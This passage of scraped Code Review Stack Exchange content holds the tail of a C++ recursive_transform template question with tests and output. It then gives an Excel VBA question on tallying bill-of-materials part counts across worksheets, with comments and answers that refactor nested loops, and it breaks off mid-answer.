struct recursive_variadic_invoke_result<unwrap_level, F, Container1<Ts1...>, Ts...>
{
using type = Container1<
typename recursive_variadic_invoke_result<
unwrap_level - 1,
F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...
>::type>;
};
template<std::size_t unwrap_level, typename F, typename T1, typename... Ts>
using recursive_variadic_invoke_result_t = typename recursive_variadic_invoke_result<unwrap_level, F, T1, Ts...>::type;
template<typename OutputIt, typename NAryOperation, typename InputIt, typename... InputIts>
OutputIt transform(OutputIt d_first, NAryOperation op, InputIt first, InputIt last, InputIts... rest) {
while (first != last) {
*d_first++ = op(*first++, (*rest++)...);
}
return d_first;
}
// recursive_transform for the multiple parameters cases (the version with unwrap_level)
// Reference: https://stackoverflow.com/a/40701742/6667035
template<std::size_t unwrap_level = 1, class F, class Arg1, class... Args>
constexpr auto recursive_transform(const F& f, const Arg1& arg1, const Args&... args)
{
if constexpr (unwrap_level > 0)
{
recursive_variadic_invoke_result_t<unwrap_level, F, Arg1, Args...> output{};
transform(
std::inserter(output, std::ranges::end(output)),
[&f](auto&& element1, auto&&... elements) { return recursive_transform<unwrap_level - 1>(f, element1, elements...); },
std::ranges::cbegin(arg1),
std::ranges::cend(arg1),
std::ranges::cbegin(args)...
);
return output;
}
else
{
return f(arg1, args...);
}
}
#define USE_BOOST_ITERATOR
#ifdef USE_BOOST_ITERATOR
#include <boost/iterator/zip_iterator.hpp>
// recursive_transform for the binary operation cases (the version with unwrap_level, with execution policy)
template<std::size_t unwrap_level = 1, class ExPo, class T1, class T2, class F>
requires (std::is_execution_policy_v<std::remove_cvref_t<ExPo>>)
constexpr auto recursive_transform(ExPo execution_policy, const F& f, const T1& input1, const T2& input2)
{
if constexpr (unwrap_level > 0)
{
recursive_variadic_invoke_result_t<unwrap_level, F, T1, T2> output{};
assert(input1.size() == input2.size());
std::mutex mutex;
// Reference: https://stackoverflow.com/a/10457201/6667035
// Reference: https://www.boost.org/doc/libs/1_76_0/libs/iterator/doc/zip_iterator.html
std::for_each(execution_policy,
boost::make_zip_iterator(
boost::make_tuple(std::ranges::cbegin(input1), std::ranges::cbegin(input2))
),
boost::make_zip_iterator(
boost::make_tuple(std::ranges::cend(input1), std::ranges::cend(input2))
),
[&](auto&& elements)
{
auto result = recursive_transform<unwrap_level - 1>(execution_policy, f, boost::get<0>(elements), boost::get<1>(elements));
std::lock_guard lock(mutex);
output.emplace_back(std::move(result));
}
);
return output;
}
else
{
return f(input1, input2);
}
}
#endif
void unary_test_cases();
void unary_test_cases_execute_policy();
void binary_test_cases();
void binary_test_cases_execute_policy();
int main()
{
unary_test_cases();
unary_test_cases_execute_policy();
binary_test_cases();
binary_test_cases_execute_policy();
return 0;
}
void unary_test_cases()
{
std::cout << "*****unary_test_cases*****" << "\n";
// non-nested input test, lambda function applied on input directly
int test_number = 3;
std::cout << recursive_transform<0>([](auto&& element) { return element + 1; }, test_number) << "\n";
// nested input test, lambda function applied on input directly
std::vector<int> test_vector = {
1, 2, 3
};
std::cout << recursive_transform<0>([](auto element)
{
element.push_back(4);
element.push_back(5);
return element;
},
test_vector).size() << "\n";
// std::vector<int> -> std::vector<std::string>
auto recursive_transform_result = recursive_transform<1>(
[](int x)->std::string { return std::to_string(x); },
test_vector
); // For testing
std::cout << "std::vector<int> -> std::vector<std::string>: " +
recursive_transform_result.at(0) << "\n"; // recursive_transform_result.at(0) is a std::string
// std::vector<string> -> std::vector<int>
std::cout << "std::vector<string> -> std::vector<int>: "
<< recursive_transform<1>(
[](std::string x) { return std::atoi(x.c_str()); },
recursive_transform_result).at(0) + 1 << "\n"; // std::string element to int
// std::vector<std::vector<int>> -> std::vector<std::vector<std::string>>
std::vector<decltype(test_vector)> test_vector2 = {
test_vector, test_vector, test_vector
};
auto recursive_transform_result2 = recursive_transform<2>(
[](int x)->std::string { return std::to_string(x); },
test_vector2
); // For testing
std::cout << "string: " + recursive_transform_result2.at(0).at(0) << "\n"; // recursive_transform_result.at(0).at(0) is also a std::string
// std::deque<int> -> std::deque<std::string>
std::deque<int> test_deque;
test_deque.push_back(1);
test_deque.push_back(1);
test_deque.push_back(1);
auto recursive_transform_result3 = recursive_transform<1>(
[](int x)->std::string { return std::to_string(x); },
test_deque); // For testing
std::cout << "string: " + recursive_transform_result3.at(0) << "\n";
// std::deque<std::deque<int>> -> std::deque<std::deque<std::string>>
std::deque<decltype(test_deque)> test_deque2;
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
auto recursive_transform_result4 = recursive_transform<2>(
[](int x)->std::string { return std::to_string(x); },
test_deque2); // For testing
std::cout << "string: " + recursive_transform_result4.at(0).at(0) << "\n";
// std::list<int> -> std::list<std::string>
std::list<int> test_list = { 1, 2, 3, 4 };
auto recursive_transform_result5 = recursive_transform<1>(
[](int x)->std::string { return std::to_string(x); },
test_list); // For testing
std::cout << "string: " + recursive_transform_result5.front() << "\n";
// std::list<std::list<int>> -> std::list<std::list<std::string>>
std::list<std::list<int>> test_list2 = { test_list, test_list, test_list, test_list };
auto recursive_transform_result6 = recursive_transform<2>(
[](int x)->std::string { return std::to_string(x); },
test_list2); // For testing
std::cout << "string: " + recursive_transform_result6.front().front() << "\n";
return;
}
void unary_test_cases_execute_policy()
{
// non-nested input test, lambda function applied on input directly
int test_number = 3;
std::cout << recursive_transform<0>(
std::execution::par,
[](auto&& element) { return element + 1; },
test_number) << "\n";
// nested input test, lambda function applied on input directly
std::vector<int> test_vector = {
1, 2, 3
};
std::cout << recursive_transform<0>(std::execution::par,
[](auto element)
{
element.push_back(4);
element.push_back(5);
return element;
},
test_vector).size() << "\n";
// std::vector<int> -> std::vector<std::string>
auto recursive_transform_result = recursive_transform<1>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_vector
); // For testing
std::cout << "std::vector<int> -> std::vector<std::string>: " +
recursive_transform_result.at(0) << "\n"; // recursive_transform_result.at(0) is a std::string
// std::vector<string> -> std::vector<int>
std::cout << "std::vector<string> -> std::vector<int>: "
<< recursive_transform<1>(
std::execution::par,
[](std::string x) { return std::atoi(x.c_str()); },
recursive_transform_result).at(0) + 1 << "\n"; // std::string element to int
// std::vector<std::vector<int>> -> std::vector<std::vector<std::string>>
std::vector<decltype(test_vector)> test_vector2 = {
test_vector, test_vector, test_vector
};
auto recursive_transform_result2 = recursive_transform<2>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_vector2
); // For testing
std::cout << "string: " + recursive_transform_result2.at(0).at(0) << "\n"; // recursive_transform_result.at(0).at(0) is also a std::string
// std::deque<int> -> std::deque<std::string>
std::deque<int> test_deque;
test_deque.push_back(1);
test_deque.push_back(1);
test_deque.push_back(1);
auto recursive_transform_result3 = recursive_transform<1>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_deque); // For testing
std::cout << "string: " + recursive_transform_result3.at(0) << "\n";
// std::deque<std::deque<int>> -> std::deque<std::deque<std::string>>
std::deque<decltype(test_deque)> test_deque2;
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
auto recursive_transform_result4 = recursive_transform<2>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_deque2); // For testing
std::cout << "string: " + recursive_transform_result4.at(0).at(0) << "\n";
// std::list<int> -> std::list<std::string>
std::list<int> test_list = { 1, 2, 3, 4 };
auto recursive_transform_result5 = recursive_transform<1>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_list); // For testing
std::cout << "string: " + recursive_transform_result5.front() << "\n";
// std::list<std::list<int>> -> std::list<std::list<std::string>>
std::list<std::list<int>> test_list2 = { test_list, test_list, test_list, test_list };
auto recursive_transform_result6 = recursive_transform<2>(
std::execution::par,
[](int x)->std::string { return std::to_string(x); },
test_list2); // For testing
std::cout << "string: " + recursive_transform_result6.front().front() << "\n";
return;
}
void binary_test_cases()
{
std::cout << "*****binary_test_cases*****" << "\n";
// non-nested input test, lambda function applied on input directly
int test_number1 = 3, test_number2 = 4;
std::cout << recursive_transform<0>(
[](auto&& element1, auto&& element2) { return element1 + element2; },
test_number1, test_number2) << "\n";
// std::vector<int>
std::cout << "std::vector<int>" << "\n";
std::vector<int> a{ 1, 2, 3 }, b{ 4, 5, 6 };
auto result1 = recursive_transform<1>([](int element1, int element2) { return element1 + element2; }, a, b);
for (auto&& element : result1)
{
std::cout << element << "\n";
}
// std::vector<std::vector<int>>
std::vector<decltype(a)> c{ a, a, a }, d{ b, b, b };
auto result2 = recursive_transform<2>([](int element1, int element2) { return element1 + element2; }, c, d);
recursive_print(result2);
// std::deque<int>
std::deque<int> test_deque;
test_deque.push_back(1);
test_deque.push_back(1);
test_deque.push_back(1);
auto result3 = recursive_transform<1>(
[](int element1, int element2) { return element1 + element2; },
test_deque, test_deque);
for (auto&& element : result3)
{
std::cout << element << "\n";
}
// std::deque<std::deque<int>>
std::deque<decltype(test_deque)> test_deque2;
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
auto result4 = recursive_transform<2>(
[](int element1, int element2) { return element1 + element2; },
test_deque2, test_deque2);
recursive_print(result4);
// std::list<int>
std::list<int> test_list = { 1, 2, 3, 4 };
auto result5 = recursive_transform<1>(
[](int element1, int element2) { return element1 + element2; },
test_list, test_list);
for (auto&& element : result5)
{
std::cout << element << "\n";
}
// std::list<std::list<int>>
std::list<std::list<int>> test_list2 = { test_list, test_list, test_list, test_list };
auto result6 = recursive_transform<2>(
[](int element1, int element2) { return element1 + element2; },
test_list2, test_list2);
recursive_print(result6);
return;
}
void binary_test_cases_execute_policy()
{
std::cout << "binary_test_cases_execute_policy" << "\n";
// std::vector<int>
std::vector<int> a{ 1, 2, 3 }, b{ 4, 5, 6 };
auto result1 = recursive_transform<1>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
a, b);
for (auto&& element : result1)
{
std::cout << element << "\n";
}
// std::vector<std::vector<int>>
std::vector<decltype(a)> c{ a, a, a }, d{ b, b, b };
auto result2 = recursive_transform<2>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
c, d);
recursive_print(result2);
// std::deque<int>
std::deque<int> test_deque;
test_deque.push_back(1);
test_deque.push_back(1);
test_deque.push_back(1);
auto result3 = recursive_transform<1>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
test_deque, test_deque);
for (auto&& element : result3)
{
std::cout << element << "\n";
}
// std::deque<std::deque<int>>
std::deque<decltype(test_deque)> test_deque2;
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
auto result4 = recursive_transform<2>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
test_deque2, test_deque2);
recursive_print(result4);
// std::list<int>
std::list<int> test_list = { 1, 2, 3, 4 };
auto result5 = recursive_transform<1>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
test_list, test_list);
for (auto&& element : result5)
{
std::cout << element << "\n";
}
// std::list<std::list<int>>
std::list<std::list<int>> test_list2 = { test_list, test_list, test_list, test_list };
auto result6 = recursive_transform<2>(
std::execution::par,
[](int element1, int element2) { return element1 + element2; },
test_list2, test_list2);
recursive_print(result6);
return;
}
</code></pre>
<p>The output of the above tests:</p>
<pre><code>*****unary_test_cases*****
4
5
std::vector<int> -> std::vector<std::string>: 1
std::vector<string> -> std::vector<int>: 2
string: 1
string: 1
string: 1
string: 1
string: 1
4
5
std::vector<int> -> std::vector<std::string>: 1
std::vector<string> -> std::vector<int>: 2
string: 1
string: 1
string: 1
string: 1
string: 1
*****binary_test_cases*****
7
std::vector<int>
5
7
9
Level 0:
Level 1:
5
7
9
Level 1:
5
7
9
Level 1:
5
7
9
2
2
2
Level 0:
Level 1:
2
2
2
Level 1:
2
2
2
Level 1:
2
2
2
2
4
6
8
Level 0:
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
binary_test_cases_execute_policy
5
7
9
Level 0:
Level 1:
5
7
9
Level 1:
5
7
9
Level 1:
5
7
9
2
2
2
Level 0:
Level 1:
2
2
2
Level 1:
2
2
2
Level 1:
2
2
2
2
4
6
8
Level 0:
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
</code></pre>
<p><a href="https://godbolt.org/z/xdzvhMsKn" rel="nofollow noreferrer">A Godbolt link is here.</a></p>
<p>All suggestions are welcome.</p>
<p>The summary information:</p>
<ul>
<li><p>Which question it is a follow-up to?</p>
<p><a href="https://codereview.stackexchange.com/q/263767/231235">A recursive_transform template function for the binary operation cases in C++</a>,</p>
<p><a href="https://codereview.stackexchange.com/q/257757/231235">A recursive_transform Template Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a>,</p>
<p><a href="https://codereview.stackexchange.com/q/253665/231235">A recursive_transform Template Function Implementation with std::invocable Concept and Execution Policy in C++</a> and</p>
<p><a href="https://codereview.stackexchange.com/q/251208/231235">A recursive_print Function For Various Type Arbitrary Nested Iterable Implementation in C++</a></p>
</li>
<li><p>What changes has been made in the code since last question?</p>
<p>The execution policy parameter has been added into the <code>recursive_transform</code> template function in this post.</p>
</li>
<li><p>Why a new review is being asked for?</p>
<p>If there is any possible improvement, please let me know.</p>
</li>
</ul>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:02:16.507",
"Id": "263907",
"Score": "1",
"Tags": [
"c++",
"recursion",
"template",
"lambda",
"boost"
],
"Title": "A recursive_transform template function for the binary operation cases with execution policy in C++"
}
|
263907
|
<p>I am not an advanced user of Excel and am VERY new to VBA. My only programming experience is 2 C# classes in college. That being said, go easy on me ;)</p>
<p>I am working on a team that audits military bases for energy conservation projects. I am trying to revise a workbook that is currently used to document HVAC equipment in all the buildings on the base. Each building has a separate sheet named after the building number. Each sheet uses the same table and format.</p>
<p>My biggest hurdle was creating a Bill of Materials page that would go through each sheet and count all the parts needed to order. Each sheet can have any combination of parts and quantities so I figured the best way was to loop through each item on a master list and count all the instances in each sheet. As such I have ended up with several nested loops which takes a while to run with a test of only 9 sheets. The code works which is most important to me, but I'm hooked now and want to learn how to make it better. I have picked up a book on VBA and plan on looking into arrays and how they might help. I just wanted to see if anyone could give me some pointers based on what I have now.</p>
<pre><code> Private Sub GenerateBOM_Click()
'generating a bill of materials with data from templated tables on separate sheets. Part order and quantity can change on each sheet. Sheets are named after
'building numbers which could include letters so couldn't find a better way of excluding the summary and data sheets. Wanted to allow for slight table
'structure changes so attempted to locate everything by names.
Dim ws As Worksheet
Dim tbl As ListObject
Dim wsBOM As Worksheet
Dim tblBOM As ListObject
Dim row As range
Dim searchRow As range
Dim rowCount As Long
Dim partCount As Long
Dim totalCount As Long
Dim partQty As Long
Set wsBOM = Worksheets("Bill of Materials")
Set tblBOM = wsBOM.ListObjects("BOM")
Application.ScreenUpdating = False
For Each row In tblBOM.ListColumns("Part Number").DataBodyRange.Rows
rowCount = row.row - tblBOM.HeaderRowRange.row 'getting index of the row being searched. Tried to use ListRow but couldn't figure it out with the overall search
totalCount = 0
For Each ws In ThisWorkbook.Worksheets 'Loop through all sheets in a workbook
If ws.Name <> "Cover" And ws.Name <> "Building List" And ws.Name <> "Data" And ws.Name <> "Building Template" And ws.Name <> "Parts" And ws.Name <> "Bill of Materials" Then
For Each tbl In ws.ListObjects 'Loop through all table on a sheet
For Each searchRow In tbl.ListColumns("Part Number").DataBodyRange.Rows 'Loop through all part number rows on table
partQty = 0
partQty = tbl.ListColumns("Qty").DataBodyRange(searchRow.row - tbl.HeaderRowRange.row) 'getting index of the row being searched to find per sheet part qty
partCount = (Application.WorksheetFunction.CountIf(searchRow, row) * partQty)
totalCount = totalCount + partCount
tblBOM.ListColumns("Project Totals").DataBodyRange.Cells(rowCount).Value = totalCount 'writing total to bill of materials sheet at index of searched part number
Next searchRow
Next tbl
End If
Next ws
Next row
Application.ScreenUpdating = True
End Sub
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:43:09.267",
"Id": "521152",
"Score": "2",
"body": "Don't use the name `row` for a variable as that is the name of a property you are using. This is what forces the `row` in `tblBOM.HeaderRowRange.row` to be lower case. It also leads to the confusing statement `row.row`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:47:25.820",
"Id": "521153",
"Score": "0",
"body": "It might be better to calculate some of these values with formulas in the worksheets themselves instead of in VBA. Tables have a total row feature that can automatically collect some information for you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T18:36:57.137",
"Id": "521155",
"Score": "0",
"body": "@HackSlash Please add an answer instead of a comment. Refer to the section **When _shouldn't_ I comment?** on [Comment everywhere](https://codereview.stackexchange.com/help/privileges/comment), and note that [short answers are acceptable](https://codereview.meta.stackexchange.com/a/1479/120114)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T18:42:11.650",
"Id": "521157",
"Score": "1",
"body": "@SᴀᴍOnᴇᴌᴀ, most people don't appreciate the answer being to use a different technology. In this case, where the solution could be written entirely in formulas, I feel like that would go against the spirit of Code Review. It's still helpful advice and thus only a comment. If Jason runs in to a situation where VBA is required along the way, he could use a UDF and still completely avoid having to press a button to calculate the BOM. It would just be updated live and always correct."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T18:44:34.420",
"Id": "521158",
"Score": "0",
"body": "@HackSlash I was mostly referring to [your first comment](https://codereview.stackexchange.com/questions/263908/excel-vba-nested-loop-alternative?noredirect=1#comment521152_263908) - about the variable naming"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:49:37.767",
"Id": "521165",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ I'm not super familiar with how Code Review works. Do I post an answer for a single item like this or is it expected I review ALL of the code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T20:28:37.073",
"Id": "521166",
"Score": "1",
"body": "@HackSlash a single item would be \"one **insightful observation**\"- From [_How do I write a good answer?_](https://codereview.stackexchange.com/help/how-to-answer): \"_Every answer must make at least one insightful observation about the code in the question....Answers need not cover every issue in every line of the code. [Short answers are acceptable](https://codereview.meta.stackexchange.com/questions/1463/short-answers-and-code-only-answers), as long as you explain your reasoning. Do not provide suggestions for improvements in a comment, even if your suggestion makes a very short answer._\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T15:30:58.373",
"Id": "521212",
"Score": "0",
"body": "@HackSlash Thanks for the advice. I borrowed some pieces of code I found on a couple sites and didn't change the variable names. As far as using formulas, I attempted this route first but could not get anything to work. Calculating on the individual sheets posed the same problem as I needed a master list to compare each part number."
}
] |
[
{
"body": "<p><strong>Use descriptive variable names:</strong> When choosing variables names always avoid reserved words. Err on the side of verbosity. For example: Don't use the name <code>row</code> for a variable as that is the name of a property you are using. This is what forces the row in <code>tblBOM.HeaderRowRange.row</code> to be lower case. It also leads to the confusing statement <code>row.row</code></p>\n<p><strong>Move declaration close to usage:</strong> I think it makes it easier to keep track of variables to declare them right before first use. This gets us away from the large variable block at the top, which can get difficult to manage.</p>\n<p><strong>Use an error handler to ensure your finalizing code runs:</strong> In this case I'm talking about ensuring that <code>Application.ScreenUpdating = True</code> always runs. You're going to have a bad time if you leave it off on accident.</p>\n<p><strong>Use a collection to only do your sheet filtering once:</strong> If we collect all the sheets we want to look at first we don't have to filter it each time through the loop.</p>\n<p><strong>Move your total count assignment out to the highest level it can go:</strong> You are setting the Project total for every iteration of the deepest level. I believe you only need to set it once.</p>\n<pre><code>Option Explicit\n\nPrivate Sub GenerateBOM_Click()\n 'generating a bill of materials with data from templated tables on separate sheets. Part order and quantity can change on each sheet. Sheets are named after\n 'building numbers which could include letters so couldn't find a better way of excluding the summary and data sheets. Wanted to allow for slight table\n 'structure changes so attempted to locate everything by names.\n On Error GoTo errorHandler\n\n Dim tblBOM As ListObject\n With ActiveWorkbook.Worksheets("Bill of Materials")\n Set tblBOM = .ListObjects("BOM")\n End With\n\n Application.ScreenUpdating = False\n\n Dim usedWorksheets As New Collection\n Dim ws As Worksheet\n For Each ws In ThisWorkbook.Worksheets\n If ws.Name <> "Cover" And ws.Name <> "Building List" And ws.Name <> "Data" And ws.Name <> "Building Template" And ws.Name <> "Parts" And ws.Name <> "Bill of Materials" Then\n usedWorksheets.Add ws\n End If\n Next ws\n\n Dim BOMpartRow As Range\n For Each BOMpartRow In tblBOM.ListColumns("Part Number").DataBodyRange.Rows\n Dim rowCount As Long\n rowCount = BOMpartRow.Row - tblBOM.HeaderRowRange.Row 'getting index of the row being searched. Tried to use ListRow but couldn't figure it out with the overall search\n \n Dim totalCount As Long\n totalCount = 0\n\n For Each ws In usedWorksheets 'Loop through all sheets in a workbook\n Dim tbl As ListObject\n For Each tbl In ws.ListObjects 'Loop through all table on a sheet\n Dim searchRow As Range\n For Each searchRow In tbl.ListColumns("Part Number").DataBodyRange.Rows 'Loop through all part number rows on table\n Dim partQty As Long\n partQty = tbl.ListColumns("Qty").DataBodyRange(searchRow.Row - tbl.HeaderRowRange.Row) 'getting index of the row being searched to find per sheet part qty\n Dim partCount As Long\n partCount = (Application.WorksheetFunction.CountIf(searchRow, BOMpartRow) * partQty)\n totalCount = totalCount + partCount\n Next searchRow\n Next tbl\n Next ws\n \n tblBOM.ListColumns("Project Totals").DataBodyRange.Cells(rowCount).Value = totalCount 'writing total to bill of materials sheet at index of searched part number\n Next BOMpartRow\n\nerrorHandler:\n Application.ScreenUpdating = True\nEnd Sub\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T15:38:12.867",
"Id": "521213",
"Score": "0",
"body": "I am not familiar with collections. I will add this to my study list. I also needed to look into error handling. I totally get what you are saying if the screen updating accidentally got left off. With the variable declarations being lower in the code, does this affect their scope? Does VBA even have variable scope?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T16:10:30.390",
"Id": "521217",
"Score": "0",
"body": "I tested this and it ran easily twice as fast as my loops. Thanks for you help."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T16:18:27.237",
"Id": "521219",
"Score": "1",
"body": "@Jason local variables can be declared anywhere in the body of a procedure scope, and they are usable anywhere *after* their declaration, even though `Dim` is not an executable statement; you can think of it as all `Dim` statements in a scope \"executing\" all at once as the scope is being entered, but the compiler will enforce (with `Option Explicit`, which should always be enabled) that a variable is declared before it is used. Scopes in VBA are *global > module > procedure*, there is no scope smaller than procedure scope in VBA."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T22:09:28.877",
"Id": "263915",
"ParentId": "263908",
"Score": "4"
}
},
{
"body": "<h2>VBA <code>SumIf</code> in Columns of Multiple Tables</h2>\n<pre class=\"lang-vb prettyprint-override\"><code>Option Explicit\n\nSub GenerateBOM()\n \n Const dName As String = "Bill of Materials"\n Const dtblName As String = "BOM"\n Const dlName As String = "Part Number"\n Const drName As String = "Project Totals"\n \n Const slName As String = "Part Number"\n Const srName As String = "Qty"\n \n Const ExceptionsList As String _\n = "Cover,Building List,Data,Building Template,Parts,Bill of Materials"\n \n Dim wb As Workbook: Set wb = ThisWorkbook\n \n ' Write the names of the worksheets to be 'processed' to an array.\n Dim swsNames As Variant ' Source Worksheet Names Array\n swsNames = ArrWorksheetNames(wb, ExceptionsList)\n If IsEmpty(swsNames) Then Exit Sub\n \n ' Write the values from the Destination Lookup Range to the Data Array.\n Dim dws As Worksheet ' Destination Worksheet\n Set dws = wb.Worksheets(dName)\n Dim dtbl As ListObject ' Destination Table\n Set dtbl = dws.ListObjects(dtblName)\n Dim dlrg As Range ' Destination Lookup Column Range\n Set dlrg = dtbl.ListColumns(dlName).DataBodyRange\n Dim Data As Variant ' Data Array\n Data = GetColumnRange(dlrg)\n \n Dim sws As Worksheet ' Source Worksheet\n Dim stbl As ListObject ' Source Table\n Dim slrg As Range ' Source Lookup Column Range\n Dim ssrg As Range ' Source Sum Column Range\n \n Dim r As Long ' Data Array Row Counter\n Dim PartCount As Long ' Part Counter\n Dim TotalCount As Long ' Total Counter\n \n ' The Loops\n ' The same array is used for the 'lookups' and the results (totals).\n For r = 1 To UBound(Data, 1)\n TotalCount = 0\n For Each sws In wb.Worksheets(swsNames)\n For Each stbl In sws.ListObjects\n Set slrg = stbl.ListColumns(slName).DataBodyRange\n Set ssrg = stbl.ListColumns(srName).DataBodyRange\n PartCount = Application.SumIf(slrg, Data(r, 1), ssrg)\n TotalCount = TotalCount + PartCount\n Next stbl\n Next sws\n Data(r, 1) = TotalCount\n Next r\n \n ' Write the values from the Data Array\n ' to the Destination Result Column Range.\n Dim drrg As Range ' Destination Result Column Range\n Set drrg = dtbl.ListColumns(drName).DataBodyRange\n drrg.Value = Data\n \n MsgBox "BOM succesfully generated.", vbInformation, "Generate BOM"\n\nEnd Sub\n\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' Purpose: Returns the names of the worksheets of a workbook,\n' that are not listed, in a 1D one-based array.\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nFunction ArrWorksheetNames( _\n ByVal wb As Workbook, _\n Optional ByVal ExceptionsList As String = "", _\n Optional ByVal ListDelimiter As String = ",") _\nAs Variant\n \n If wb Is Nothing Then Exit Function\n \n Dim wsCount As Long: wsCount = wb.Worksheets.Count\n If wsCount = 0 Then Exit Function ' no worksheet\n \n Dim Arr() As String: ReDim Arr(1 To wsCount)\n \n Dim sws As Worksheet\n Dim n As Long\n \n If Len(ExceptionsList) = 0 Then\n \n For Each sws In wb.Worksheets\n n = n + 1\n Arr(n) = sws.Name\n Next sws\n \n Else\n \n Dim Exceptions() As String\n Exceptions = Split(ExceptionsList, ListDelimiter)\n \n Dim wsName As String\n \n For Each sws In wb.Worksheets\n wsName = sws.Name\n If IsError(Application.Match(wsName, Exceptions, 0)) Then\n n = n + 1\n Arr(n) = wsName\n End If\n Next sws\n \n If n = 0 Then Exit Function ' no worksheet that's not in the list\n \n If n < wsCount Then\n ReDim Preserve Arr(1 To n)\n End If\n \n End If\n \n ArrWorksheetNames = Arr\n \nEnd Function\n\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' Purpose: Returns the values of the first column of a range\n' in a 2D one-based one-column array.\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nFunction GetColumnRange( _\n ByVal rg As Range) _\nAs Variant\n \n If rg Is Nothing Then Exit Function\n \n Dim cData As Variant\n With rg.Columns(1)\n Dim rCount As Long: rCount = rg.Rows.Count\n If rCount = 1 Then ' one cell\n ReDim cData(1 To 1, 1 To 1): cData(1, 1) = .Value\n Else\n cData = .Value ' multiple cells\n End If\n End With\n \n GetColumnRange = cData\n\nEnd Function\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T16:00:15.470",
"Id": "521216",
"Score": "0",
"body": "Thank you very much. This is a lot to digest. I have so much to learn. I am catching a flight to Japan tomorrow and will try to get my head wrapped around this code. Are functions similar to writing you own methods? I have picked up the book Microsoft Excel 2019 VBA and Macros by Bill Jelen. Do you have any recommendations for training material or online courses?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T16:13:32.317",
"Id": "521218",
"Score": "0",
"body": "I tested your code in my workbook and it was lighting fast. Thank you so much for your help. I have elevated arrays to the top of my list of things to study for multiple reasons. I just have a hard time visualizing the structures so it isn't obvious to me where they are advantageous."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T06:42:39.673",
"Id": "263925",
"ParentId": "263908",
"Score": "1"
}
},
{
"body": "<p>I'm in agreement with the comments/answer provided by @HackSlash and have used the @HackSlash version of the Subroutine in this answer. And, the @VBasic2008 version certainly is an improvement as well and demonstrates a more efficient implementation while reducing the levels of nesting from 4 to 3. That said, the original title of the post implied a interest in alternatives to nested loops.</p>\n<p>So...regarding the removal/reduction of nested loops:</p>\n<p>To reduce nested levels, one strategy is to convert some or all loops into a function or subroutine with parameters based on the data/objects propagated from nesting level to nesting level. The result is code with a set of small support functions each dedicated to the achieving the goals of a nesting level. Generally, this results in improved readability and, if needed, can be tested independently.</p>\n<p>In this case, the example below has refactored nearly all of the code into a new Standard Module <code>GenerateBOMSupport</code>. The code remaining in the original <code>UserForm</code> contains UI related concerns of handling the <code>CommandButton</code> click event and managing the <code>Application.ScreenUpdating</code> flag. This separation of concerns is consistent with the best practice of having only UI/control-related code in the <code>UserForm</code> code-behind.</p>\n<pre><code> 'UserForm code-behind\n Option Explicit\n\n Private Sub GenerateBOM_Click()\n 'generating a bill of materials with data from templated tables on separate sheets. Part order and quantity can change on each sheet. Sheets are named after\n 'building numbers which could include letters so couldn't find a better way of excluding the summary and data sheets. Wanted to allow for slight table\n 'structure changes so attempted to locate everything by names.\n On Error GoTo errorHandler\n\n Application.ScreenUpdating = False\n \n Dim usedWorksheets As Collection\n Set usedWorksheets = GenerateBOMSupport.DetermineUsedWorksheets(ThisWorkbook)\n \n Dim bomWorksheet as Worksheet\n Set bomWorkSheet = ActiveWorkbook.Worksheets(GenerateBOMSupport.BOMWorksheetName)\n \n GenerateBOMSupport.UpdateBOMTotalCount bomWorkSheet, usedWorksheets\n \n errorHandler:\n Application.ScreenUpdating = True\n End Sub\n</code></pre>\n<p>And a supporting module. 